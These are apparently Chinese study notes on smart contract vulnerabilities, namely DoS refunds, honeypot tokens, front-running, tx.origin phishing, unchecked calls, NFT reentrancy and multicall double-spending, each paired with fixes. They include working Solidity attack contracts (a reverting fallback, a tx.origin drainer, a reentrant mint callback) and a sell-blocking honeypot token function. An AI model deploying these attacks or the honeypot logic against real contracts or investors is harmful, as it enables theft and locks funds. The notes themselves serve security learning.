7.DOS攻击

在 Web2 中,拒绝服务攻击(DoS)是指通过向服务器发送大量垃圾信息或干扰信息的方式,导致服务器无法向正常用户提供服务的现象。而在 Web3,它指的是利用漏洞使得智能合约无法正常提供服务。

先看过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 游戏结束,退款开始,所有玩家将依次收到退款
function refund() external {
require(!refundFinished, "Game Over");
uint256 pLength = players.length;
// 通过循环给所有玩家退款
for(uint256 i; i < pLength; i++){
address player = players[i];
uint256 refundETH = balanceOf[player];
(bool success, ) = player.call{value: refundETH}("");
require(success, "Refund Fail!");
balanceOf[player] = 0;
}
refundFinished = true;
}

这里的漏洞在于,refund() 函数中利用循环退款的时候,是使用的 call 函数,将激活目标地址的回调函数,如果目标地址为一个恶意合约,在回调函数中加入了恶意逻辑,退款将不能正常进行。

攻击:

1
2
3
4
5
6
7
8
9
10
11
12
contract Attack {
// 退款时进行DoS攻击
fallback() external payable{
revert("DoS Attack!");
}

// 参与DoS游戏并存款
function attack(address gameAddr) external payable {
DoSGame dos = DoSGame(gameAddr);
dos.deposit{value: msg.value}();
}
}

attack() 函数中将调用 DoSGame 合约的 deposit() 存款并参与游戏;fallback() 回调函数将回退所有向该合约发送ETH的交易,对DoSGame 合约中的 DoS 漏洞进行了攻击,所有退款将不能正常进行,资金被锁在合约中,就像 Akutar 合约中的一万多枚 ETH 一样。

原理:这里导致代码中断的本质代码是: require(success, “Refund Fail!”);因为低级调用call收到的是false所以require检测失败自动回退。(在调用外部合约时,其实调用合约无所谓成功或失败,只需要接受调用结果的data就行,所以成功和失败完全不干扰当前合约执行,只有自己的合约执行自己的代码出现错误才会中断或回退,外部调用别的代码不会中断自己)

解决办法:

  1. 删除 require(success, “Refund Fail!”)
  2. 退款时,让用户从合约自行领取(pull),而非批量发送给用户(push)。

总结:防 DoS 的核心写法

🌟 规则 1:所有付款都用 Pull Payment(用户自己领)

永远不要在循环中:

  • 发 ETH
  • 发 ERC20
  • 发 NFT

这条就能防住 50% 的 DoS。

🌟 规则 2:不要依赖外部合约调用成功与否

永远不要写:

1
require(externalContract.do());

改成:

  • 判断 success
  • 稳健处理
  • 失败不让你核心逻辑停止

🌟 规则 3:不要遍历无限增长的数组

会打爆 gas,使函数永远执行不了。

🌟 规则 4:使用 chunk 分片执行来替代一次性大循环(避免gas不够用)

🌟 规则 5:所有对外 call 使用非阻塞模式(ignore failure)

示例:

1
2
(bool success,) = target.call{value:amount}("");
if (!success) failed[target] += amount;

不要 require(success)。

🌟 规则 6:使用重入锁(nonReentrant)

避免因重入导致意外的死锁、状态乱序,进而形成 DoS。

8.貔貅合约

貔貅是中国的一个神兽,因为在天庭犯了戒,被玉帝揍的肛门封闭了,只能吃不能拉,可以帮人们聚财。但在Web3中,貔貅变为了不详之兽,韭菜的天敌。貔貅盘的特点:投资人只能买不能卖,仅有项目方地址能卖出。

通常一个貔貅盘有如下的生命周期:

  1. 恶意项目方部署貔貅代币合约。
  2. 宣传貔貅代币让散户上车,由于只能买不能卖,代币价格会一路走高。
  3. 项目方rug pull卷走资金。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* @dev See {ERC20-_update}.
* 貔貅函数:只有合约拥有者可以卖出
*/
function _update(
address from,
address to,
uint256 amount
) internal virtual override {
if(to == pair){
require(from == owner(), "Can not Transfer");
}
super._update(from, to, amount);
}

当前合约是貔貅代币合约用于代币的转账、铸造、销毁等逻辑,要卖出代币必须卖到交易对合约也就是pair地址的合约

解决:

  1. 在区块链浏览器上(比如etherscan)查看合约是否开源,如果开源,则分析它的代码,看是否有貔貅漏洞。
  2. 如果没有编程能力,可以使用貔貅识别工具,比如 Token SnifferAve Check,分低的话大概率是貔貅。
  3. 看项目是否有审计报告。
  4. 仔细检查项目的官网和社交媒体。
  5. 只投资你了解的项目,做好研究(DYOR)。
  6. 使用tenderly、phalcon分叉模拟卖出貔貅,如果失败则确定是貔貅代币。

9.抢先交易

抢跑最初诞生于传统金融市场,是一场单纯为了利益的竞赛。在金融市场中,信息差催生了金融中介机构,他们可以通过最先了解某些行业信息并最先做出反应从而实现获利。这些攻击主要发生在股票市场交易和早期的域名注册。链上抢跑指的是搜索者或矿工通过调高gas或其他方法将自己的交易安插在其他交易之前,来攫取价值。在区块链中,矿工可以通过打包、排除或重新排序他们产生的区块中的交易来获得一定的利润,而MEV是衡量这种利润的指标。

在用户的交易被矿工打包进以太坊区块链之前,大部分交易会汇集到Mempool(交易内存池)中,矿工在这里寻找费用高的交易优先打包出块,实现利益最大化。通常来说,gas price越高的交易,越容易被打包。同时,一些MEV机器人也会搜索mempool中有利可图的交易。比如,一笔在去中心化交易所中滑点设置过高的swap交易可能会被三明治攻击:通过调整gas,套利者会在这笔交易之前插一个买单,再在之后发送一个卖单,并从中盈利。这等效于哄抬市价。

总结:通过收集消息,判断市价即将发生的涨跌情况,然后在市价变化之前抢先影响市价变化的交易完成准备交易,然后在市价变化后卖出或买入从而赚取差价。

解决:

  • 使用预提交方案(commit-reveal scheme)。
  • 使用暗池,用户发出的交易将不进入公开的mempool,而是直接到矿工手里。例如 flashbots 和 TaiChi。
  • 在调用参数中加上保护性参数,如滑点保护,从而减少抢跑者的潜在收益。(滑点是当你往流动性池添加/取出代币时,实际获得的数量与理论应该得到的数量之间的差距。滑点越大差值越大,就越亏。市场价也会变化更大)

10.钓鱼攻击

tx.origin:在solidity中,使用tx.origin可以获得启动交易的原始地址,tx.origin 是当前交易(transaction)最初发起者的地址(一定是EOA外部账户)

银行合约

我们先看银行合约,它非常简单,包含一个owner状态变量用于记录合约的拥有者,包含一个构造函数和一个public函数:

  • 构造函数: 在创建合约时给owner变量赋值.
  • transfer(): 该函数会获得两个参数_to_amount,先检查tx.origin == owner,无误后再给_to转账_amount数量的ETH。注意:这个函数有被钓鱼攻击的风险!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract Bank {
address public owner;//记录合约的拥有者

//在创建合约时给 owner 变量赋值
constructor() payable {
owner = msg.sender;
}

function transfer(address payable _to, uint _amount) public {
//检查消息来源 !!! 可能owner会被诱导调用该函数,有钓鱼风险!
require(tx.origin == owner, "Not owner");
//转账ETH
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
}

攻击合约

然后是攻击合约,它的攻击逻辑非常简单,就是构造出一个attack()函数进行钓鱼,将银行合约拥有者的余额转账给黑客。它有2个状态变量hackerbank,分别用来记录黑客地址和要攻击的银行合约地址。

它包含2个函数:

  • 构造函数:初始化bank合约地址.
  • attack():攻击函数,该函数需要银行合约的owner地址调用,owner调用攻击合约,攻击合约再调用银行合约的transfer()函数,确认tx.origin == owner后,将银行合约内的余额全部转移到黑客地址中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
contract Attack {
// 受益者地址
address payable public hacker;
// Bank合约地址
Bank bank;

constructor(Bank _bank) {
//强制将address类型的_bank转换为Bank类型
bank = Bank(_bank);
//将受益者地址赋值为部署者地址
hacker = payable(msg.sender);
}

function attack() public {
//诱导bank合约的owner调用,于是bank合约内的余额就全部转移到黑客地址中
bank.transfer(hacker, address(bank).balance);
}
}

解决:

1.使用msg.sender代替tx.origin

11.未检查的低级调用

1
2
3
4
5
6
7
8
function withdraw() external {
// 获取余额
uint256 balance = balanceOf[msg.sender];
require(balance > 0, "Insufficient balance");
balanceOf[msg.sender] = 0;
// Unchecked low-level call
bool success = payable(msg.sender).send(balance);
}

如果 bool success = payable(msg.sender).send(balance)执行失败,则提款失败但是余额会归0,需要修改为require(success)

12.NFT重入攻击

因为普通的重入攻击需要被攻击合约调用攻击合约的代码,而nft转账时会检查目标合约有没有能力接受nft而不是黑洞合约,所以会调用目标合约的检查函数判断,

此时就有可能触发重入攻击

漏洞合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract NFTReentrancy is ERC721 {
uint256 public totalSupply;
mapping(address => bool) public mintedAddress;
// 构造函数,初始化NFT合集的名称、代号
constructor() ERC721("Reentry NFT", "ReNFT"){}

// 铸造函数,每个用户只能铸造1个NFT
// 有重入漏洞
function mint() payable external {
// 检查是否mint过
require(mintedAddress[msg.sender] == false);
// 增加total supply
totalSupply++;
// mint
_safeMint(msg.sender, totalSupply);
// 记录mint过的地址
mintedAddress[msg.sender] = true;
}
}

攻击合约

1
2
3
4
5
6
7
// ERC721的回调函数,会重复调用mint函数,铸造10个
function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
if(nft.balanceOf(address(this)) < 10){
nft.mint();
}
return this.onERC721Received.selector;
}

解决方法:
和一般重入攻击一样:

1.检查-影响-交互模式(checks-effect-interaction)

2.重入锁。

13.函数multicall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}

首先,自己call自己是无意义的不会修改链上变量但是delegatecall可以;此函数用memory的depositCalled追踪有漏洞,如果delegatecall中的参数是multicall也就是调用自己就会创建新的函数空间,depositCalled会重置为false无法阻止双花。

关于msg.value的变化情况分析:

  1. 每个 msg.value 只属于一个 CALL
  2. msg.valueCALL 指令执行时立即转移
  3. **后续的 delegatecall 不消耗新的 msg.value**:代理调用只是借用代码没有跳出外部,也就是没有call所以msg.value不会改变

比如:用户A → 合约b.f1() → 合约b.f2() → 合约c.call(f3) → 合约c.f4() → 合约d.call(f5)

特性 call delegatecall
是否转移ETH ✅ 可以 ❌ 不可以
msg.value 可指定新值 保持调用者值
执行上下文 目标合约的上下文 调用者的上下文
存储访问 目标合约的存储 调用者的存储
1
2
3
4
5
f1: msg.value = X
f2: msg.value = X(与f1相同)
f3: msg.value = 0(因为b→c的call没有value):这里的msg.value会被新的覆盖(如果有)
f4: msg.value = 0(与f3相同)
f5: msg.value = 0(因为c→d的call没有value):这里的msg.value会被新的覆盖(如果有)